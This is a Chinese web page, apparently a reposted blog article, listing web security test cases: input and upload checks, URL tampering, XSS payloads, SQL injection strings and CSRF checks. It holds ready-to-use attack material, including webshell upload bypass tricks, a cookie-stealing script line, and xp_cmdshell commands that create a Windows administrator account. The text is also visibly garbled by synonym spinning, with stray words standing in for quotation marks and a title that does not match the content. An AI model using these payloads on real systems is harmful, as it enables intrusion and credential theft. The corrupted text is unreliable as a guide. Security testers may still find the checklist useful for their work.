首页 » 网站推广 » php朝顺平教程视频技巧_干货拿走不谢安然测试用例入门

php朝顺平教程视频技巧_干货拿走不谢安然测试用例入门

访客 2024-10-30 0

扫一扫用手机浏览

文章目录 [+]

1. 输入验证

客户端验证 做事器端验证(禁用脚本调试,禁用Cookies)

php朝顺平教程视频技巧_干货拿走不谢安然测试用例入门

1.输入很大的数(如4,294,967,269),输入很小的数(负数)

php朝顺平教程视频技巧_干货拿走不谢安然测试用例入门
(图片来自网络侵删)

2.输入超长字符,如对输入笔墨长度有限定,则考试测验超过限定,刚好到达限定字数时有何反应

3.输入分外字符,如:~!@#$%^&()_+<>:”{}|

4.输入中英文空格,输入字符串中间含空格,输入首尾空格

5.输入分外字符串NULL,null,0x0d 0x0a

6.输入正常字符串

7.输入与哀求不同类型的字符,如: 哀求输入数字则检讨正值,负值,零值(正零,负零),小数,字母,空值; 哀求输入字母则检讨输入数字

8.输入html和javascript代码

9.对付像回答数这样需考验数字精确性的测试点,不仅比拟其与问题终极页的回答数,还要对回答进行添加删除等操作后查看变革

关于上传:

1.上传文件是否有格式限定,是否可以上传exe文件;

2.上传文件是否有大小限定,上传太大的文件是否导致非常缺点,上传0K的文件是否会导致非常缺点,上传并不存在的文件是否会导致非常缺点;

3.通过修正扩展名的办法是否可以绕过格式限定,是否可以通过压包办法绕过格式限定;

4.是否有上传空间的限定,是否可以超过空间所限定的大小,如将超过空间的大文件拆分上传是否会涌现非常缺点。

5.上传文件大小大于本地剩余空间大小,是否会涌现非常缺点。

6.关于上传是否成功的判断。
上传过程中,中断。
程序是否判断上传是否成功。

7.对付文件名中带有中笔墨符,分外字符等的文件上传。

上传漏洞拿shell:

8.直接上传asp.asa.jsp.cer.php.aspx.htr.cdx….之类的马,拿到shell.

9.便是在上传时在后缀后面加空格或者加几点,大概也会有惊奇的创造。
例:.asp ,.asp..。

10.利用双重扩展名上传例如:.jpg.asa格式(也可以配上第二点一起利用)。

11.gif文件头欺骗

12.同名重复上传也很OK。

关于URL:

1.某些需登录后或分外用户才能进入的页面,是否可以通过直接输入网址的办法进入;

2.对付带参数的网址,恶意修正其参数,(若为数字,则输入字母,或很大的数字,或输入分外字符等)后打开网址是否出错,是否可以造孽进入某些页面;

3.搜索页面等url中含有关键字的,输入html代码或JavaScript看是否在页面中显示或实行。

4.输入善意字符

2. 输出编码

常用的测试输入语句有:

<input type=\"大众text\公众/>

<input/>

<input/

<script>alert('hello');</script>

1.jpg\公众 onmouseover=\"大众alert('xss')

\"大众></a><script>alert(‘xss’);</script>

http://xxx';alert('xss');var/ a='a

‘”>xss&<

a=”\” ; b=”;alert(/xss/);//”

<img src=“输出内容” border=“0” alt=“logo” />

“’”

‘”’

“””

“ “ “

“”“

“‘ ”

title=””

对输出数据到输出数据的比拟,看是否涌现问题。

3. 防止SQL注入

利用下面的语句布局输入内容:

Admin--

‘or --

‘ and ( ) exec insert % chr mid

and 1=1 ; And 1=1 ; aNd 1=1 ; char(97)char(110)char(100) char(49)char(61)char(49) ; %20AND%201=2

‘and 1=1 ; ‘And 1=1 ; ‘aNd 1=1 ;

and 1=2 ; ‘and 1=2

and 2=2

and user>0

and (select count() from sysobjects)>0

and (select count() from msysobjects)>0

and (Select Count() from Admin)>=0

and (select top 1 len(username) from Admin)>0(username 已知字段)

;exec master..xp_cmdshell “net user name password /add”—

;exec master..xp_cmdshell “net localgroup name administrators /add”—

and 0<>(select count() from admin)

大略的如where xtype=’U’,字符U对应的ASCII码是85,以是可以用where xtype=char(85)代替;如果字符是中文的,比如where name=’用户’,可以用where name=nchar(29992)+nchar(25143)代替。

4. 跨站脚本攻击(XSS)

对付 XSS,只需检讨 HTML 输出并看看您输入的内容在什么地方。
它在一个 HREF 标记中吗?是否在 IFRAME 标记中?它在 CLSID 标记中吗?在 IMG SRC 中吗?某些 Flash 内容的 PARAM NAME 是若何的?

~!@#$%^&()_+<>,./?;'\"大众[]{}\-

★%3Cinput /%3E

★%3Cscript%3Ealert('XSS')%3C/script%3E

★<input type=\"大众text\"大众/>

★<input/>

★<input/

★<script>alert('xss')</script>

★<script>alert('xss');</script>

★</script><script>alert(‘xss’)</script>

★javascript:alert(/xss/)

★javascript:alert(/xss/)

★<img src=\"大众#\公众 onerror=alert(/xss/)>

★<img src=\"大众#\公众 style=\"大众Xss:expression(alert(/xss/));\"大众>

★<img src=\"大众#\"大众//onerror=alert(/xss/) width=100>

★=’><script>alert(document.cookie)</script>

★1.jpg\"大众 onmouseover=\公众alert('xss')

★\"大众></a><script>alert(‘xss’);</script>

★http://xxx';alert('xss');var/ a='a

★’”>xss&<

★\"大众onmouseover=alert('hello');\"大众

★&{alert('hello');}

★>\"大众'><script>alert(‘XSS')</script>

★>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>

★>\"大众'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>

★AK%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OS%22

★%22%2Balert(%27XSS%27)%2B%22

★<table background=\公众javascript:alert(([code])\"大众></table>

★<object type=text/html data=\公众javascript:alert(([code]);\"大众></object>

★<body onload=\"大众javascript:alert(([code])\"大众></body>

★a?<script>alert(’Vulnerable’)</script>

★<!--'\公众>&:

var from = ‘$!rundata.Parameters.getString(’from’)';

var from = ”;hackerFunction(document.cookie);”;

http://searchbox.mapbar.com/publish/template/template1010/?CID=qingke&tid=tid1010&cityName=天津<script>alert(\"大众hello\公众)</script>&nid=MAPBXITBJRQMYWJRXPCBX

5. 跨站要求假造(CSRF)

同个浏览器打开两个页面,一个页面权限失落效后,另一个页面是否可操作成功。

当页面没有CHECKCODE时,查看页面源代码,查是是否有token。
如果页面完备是展示页面,是不会有token的。

还要测试session的有效期等等

上面这些测试用例是不是以为很随意马虎,实在很多同学也有做过呢。

标签:

相关文章

今日头条算法引领个化信息时代的变革

信息爆炸时代已经到来。每个人都是信息的接收者和传播者。面对海量的信息,人们往往感到无所适从。为了解决这一问题,各大互联网公司纷纷推...

网站推广 2025-01-31 阅读1 评论0

今日头条算法信息推荐的秘密武器

信息爆炸的时代已经来临。人们每天都会接触到大量的信息,而如何从这些信息中筛选出有价值的内容,成为了亟待解决的问题。今日头条算法作为...

网站推广 2025-01-31 阅读1 评论0

今日头条算法精准推荐背后的技术奥秘

信息爆炸的时代已经来临。我们每天都要面对海量的信息,如何从这些信息中筛选出自己感兴趣的内容,成为了每个人都关心的问题。今日头条作为...

网站推广 2025-01-31 阅读1 评论0